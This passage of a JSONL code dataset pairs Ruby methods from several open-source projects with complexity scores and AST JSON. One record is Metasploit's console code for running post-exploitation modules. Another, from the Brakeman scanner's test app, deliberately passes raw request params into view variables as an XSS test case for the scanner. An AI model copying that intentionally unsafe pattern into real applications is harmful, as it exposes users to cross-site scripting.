"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra_log_payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"distribution_name\"]},{\"type\":\"ivar\",\"children\":[\"@distribution_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component_name\"]},{\"type\":\"ivar\",\"children\":[\"@component_name\"]}]}]}]}]}]}]}]},null]}]}","id":"4465c3df-d905-434f-a40a-cf216130510d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/bcf/issues/delete_service.rb","start_line":34,"raw_source":"def after_validate(contract_call)\n        wp_call = work_package_delete_call(params)\n\n        if wp_call.success?\n          contract_call\n        else\n          wp_call\n        end\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_call\",{\"type\":\"send\",\"children\":[null,\"work_package_delete_call\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_call\"]},\"success?\"]},{\"type\":\"lvar\",\"children\":[\"contract_call\"]},{\"type\":\"lvar\",\"children\":[\"wp_call\"]}]}]}]}","id":"d13c5828-8b8e-4225-b13e-5bffdc650a77"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_about_config_area_contact_information_card.rb","start_line":14,"raw_source":"def contact_url_input\n        form.field(\"contactURL\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"contact_url_input\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"field\",{\"type\":\"str\",\"children\":[\"contactURL\"]}]}]}","id":"e008287c-2b7b-4c9a-b021-2c9e598b205a"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":225,"raw_source":"def uncheck_working_days_only\n      page.find(:checkbox, \"Working days only\").uncheck\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"uncheck_working_days_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"sym\",\"children\":[\"checkbox\"]},{\"type\":\"str\",\"children\":[\"Working days only\"]}]},\"uncheck\"]}]}","id":"4122f1f7-0d54-4d35-8ee0-aacf8f3bdb1a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/post.rb","start_line":74,"raw_source":"def cmd_run(*args, action: nil, opts: {})\n    if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]\n      driver.run_single('reload_lib -a')\n    end\n\n    return false unless (args = parse_run_opts(args, action: action))\n    jobify = args[:jobify]\n\n    # Always run passive modules in the background\n    if (mod.passive)\n      jobify = true\n    end\n\n    begin\n      mod.run_simple(\n        'Action'         => args[:action],\n        'Options'      => args[:datastore_options],\n        'LocalInput'     => driver.input,\n        'LocalOutput'    => driver.output,\n        'RunAsJob'       => jobify,\n        'Quiet'          => args[:quiet]\n      )\n    rescue ::Timeout::Error\n      print_error(\"Post triggered a timeout exception\")\n    rescue ::Interrupt\n      print_error(\"Post interrupted by the console user\")\n    rescue ::Exception => e\n      print_error(\"Post failed: #{e.class} #{e}\")\n      if (e.class.to_s != 'Msf::OptionValidateError')\n        print_error(\"Call stack:\")\n        e.backtrace.each do |line|\n          break if line =~ /lib.msf.base.simple/\n          print_error(\"  #{line}\")\n        end\n      end\n\n      return false\n    end\n\n    if (jobify && mod.job_id)\n      print_status(\"Post module running as background job #{mod.job_id}.\")\n    else\n      print_status(\"Post module execution completed\")\n    end\n  end","complexity_score":61.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_run\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwoptarg\",\"children\":[\"action\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"--reload-libs\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"previously_reloaded\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"run_single\",{\"type\":\"str\",\"children\":[\"reload_lib -a\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[null,\"parse_run_opts\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jobify\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jobify\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mod\"]},\"passive\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jobify\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mod\"]},\"run_simple\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"datastore_options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalInput\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalOutput\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RunAsJob\"]},{\"type\":\"lvar\",\"children\":[\"jobify\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Quiet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Post triggered a timeout exception\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Post interrupted by the console user\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Post failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]},\"to_s\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Msf::OptionValidateError\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Call stack:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"lib.msf.base.simple\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobify\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mod\"]},\"job_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Post module running as background job \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mod\"]},\"job_id\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Post module execution completed\"]}]}]}]}]}","id":"9221dfff-e4ee-4e05-98ba-ca68a35a4591"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":130,"raw_source":"def test_xss_with_or\n    @params_or_something = params[:x] || something\n\n    if some_condition\n      @user_input = true\n    else\n      @user_input = params[:y]\n    end\n\n    @more_user_input = x || params[:z] || z\n\n    @user = User.find(current_user)\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_xss_with_or\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@params_or_something\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"something\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"some_condition\"]},{\"type\":\"ivasgn\",\"children\":[\"@user_input\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"y\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@more_user_input\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"z\"]}]}]},{\"type\":\"send\",\"children\":[null,\"z\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}","id":"351451fa-9905-47f1-b3ba-fbd26ffbb17e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/service_desk_setting.rb","start_line":116,"raw_source":"def needs_custom_email_credentials?\n    custom_email_enabled? || custom_email_verification.present?\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"needs_custom_email_credentials?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_email_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_email_verification\"]},\"present?\"]}]}]}","id":"44416e90-1518-4d6c-9d58-e7a6190eff8d"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/shipping_address_controller.rb","start_line":47,"raw_source":"def update\n          if params[:shipping_address_id].present?\n            @address = Spree::Address.accessible_by(current_ability, :manage).find(params[:shipping_address_id])\n            @order.ship_address_id = @address.id\n          else\n            @order.ship_address_attributes = address_params\n            @address = @order.ship_address\n          end\n\n          if @order.save\n            @order.shipments.update_all(address_id: @order.ship_address.id, updated_at: Time.current)\n            if !@order.completed? && @order.line_items.any?\n              @order.ensure_updated_shipments\n              advance_to_payment_result = Spree::Dependencies.checkout_advance_service.constantize.call(order: @order, state: 'payment')\n\n              unless advance_to_payment_result.success?\n                flash[:error] = advance_to_payment_result.error.value.full_messages.to_sentence\n                @order.ensure_updated_shipments\n                return redirect_to spree.edit_admin_order_path(@order)\n              end\n            end\n\n            flash[:success] = Spree.t(:successfully_updated, resource: Spree.t(:shipping_address))\n\n            redirect_to spree.edit_admin_order_path(@order)\n          else\n            render :update, status: :unprocessable_entity\n          end\n        end","complexity_score":75.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shipping_address_id\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Address\"]},\"accessible_by\",{\"type\":\"send\",\"children\":[null,\"current_ability\"]},{\"type\":\"sym\",\"children\":[\"manage\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shipping_address_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ship_address_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@address\"]},\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ship_address_attributes=\",{\"type\":\"send\",\"children\":[null,\"address_params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@address\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ship_address\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"shipments\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ship_address\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"completed?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"line_items\"]},\"any?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ensure_updated_shipments\"]},{\"type\":\"lvasgn\",\"children\":[\"advance_to_payment_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"checkout_advance_service\"]},\"constantize\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"ivar\",\"children\":[\"@order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"payment\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advance_to_payment_result\"]},\"success?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advance_to_payment_result\"]},\"error\"]},\"value\"]},\"full_messages\"]},\"to_sentence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"ensure_updated_shipments\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_order_path\",{\"type\":\"ivar\",\"children\":[\"@order\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"successfully_updated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"shipping_address\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_order_path\",{\"type\":\"ivar\",\"children\":[\"@order\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"07541572-2331-4ad2-be99-479b208ac6ef"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/products_performance.rb","start_line":49,"raw_source":"def promo_total\n        Spree::Money.new(record.promo_total, currency: currency)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"promo_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Money\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"promo_total\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}","id":"8c9133d3-8903-43b3-b08a-f9ca2aee5b60"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/mailers/previews/meeting_mailer_preview.rb","start_line":34,"raw_source":"def rescheduled\n    language = params[\"locale\"] || I18n.default_locale\n    actor = FactoryBot.build_stubbed(:user, lastname: \"Actor\")\n    user = FactoryBot.build_stubbed(:user, language:)\n    meeting = FactoryBot.build_stubbed(:meeting, start_time: 1.day.from_now, duration: 1.0)\n\n    changes = {\n      old_start: meeting.start_time,\n      old_duration: meeting.duration,\n      new_start: 5.days.from_now,\n      new_duration: 2.5\n    }\n\n    MeetingMailer.rescheduled(meeting, user, actor, changes:)\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rescheduled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"language\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lastname\"]},{\"type\":\"str\",\"children\":[\"Actor\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"language\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meeting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"meeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"from_now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"float\",\"children\":[1.0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"start_time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"duration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"days\"]},\"from_now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_duration\"]},{\"type\":\"float\",\"children\":[2.5]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingMailer\"]},\"rescheduled\",{\"type\":\"lvar\",\"children\":[\"meeting\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"actor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"changes\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]}]}]}]}","id":"b48ff619-c1df-4908-b6b2-604179e8f230"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/jira_import/users_importer.rb","start_line":5,"raw_source":"def initialize(user, project, start_at)\n      @project = project\n      @start_at = start_at\n      @user = user\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"start_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@start_at\",{\"type\":\"lvar\",\"children\":[\"start_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"b7642e20-2433-4fa8-bede-f130078743c3"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/context.rb","start_line":13,"raw_source":"def chat(*args, **kwargs, &)\n      Chat.new(*args, **kwargs, context: self, &)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"chat\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"b80c1ff5-257b-4046-8692-42071474e001"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/refresh_service.rb","start_line":18,"raw_source":"def refresh_merge_requests!\n      # n + 1: https://gitlab.com/gitlab-org/gitlab-foss/issues/60289\n      Gitlab::GitalyClient.allow_n_plus_1_calls { find_new_commits }\n\n      # Be sure to close outstanding MRs before reloading them to avoid generating an\n      # empty diff during a manual merge\n      close_upon_missing_source_branch_ref\n\n      post_merge_manually_merged\n\n      link_forks_lfs_objects\n\n      reload_merge_requests\n\n      merge_requests_for_source_branch.each do |mr|\n        outdate_suggestions(mr)\n        abort_auto_merges(mr)\n        mark_pending_todos_done(mr)\n      end\n\n      abort_ff_merge_requests_with_auto_merges\n      cache_merge_requests_closing_issues\n\n      merge_requests_for_source_branch.each do |mr|\n        # Leave a system note if a branch was deleted/added\n        if branch_added_or_removed?\n          comment_mr_branch_presence_changed(mr)\n        end\n\n        notify_about_push(mr)\n        mark_mr_as_draft_from_commits(mr)\n\n        # Call merge request webhook with update branches\n        if Feature.disabled?(:split_refresh_worker_web_hooks, @current_user)\n          execute_mr_web_hooks(mr)\n        end\n\n        if Feature.disabled?(:split_refresh_worker_pipeline, @current_user) && !@push.branch_removed?\n          # Run at the end of the loop to avoid any potential contention on the MR object\n          refresh_pipelines_on_merge_requests(mr)\n        end\n\n        merge_request_activity_counter.track_mr_including_ci_config(user: mr.author, merge_request: mr)\n      end\n\n      execute_async_workers\n\n      true\n    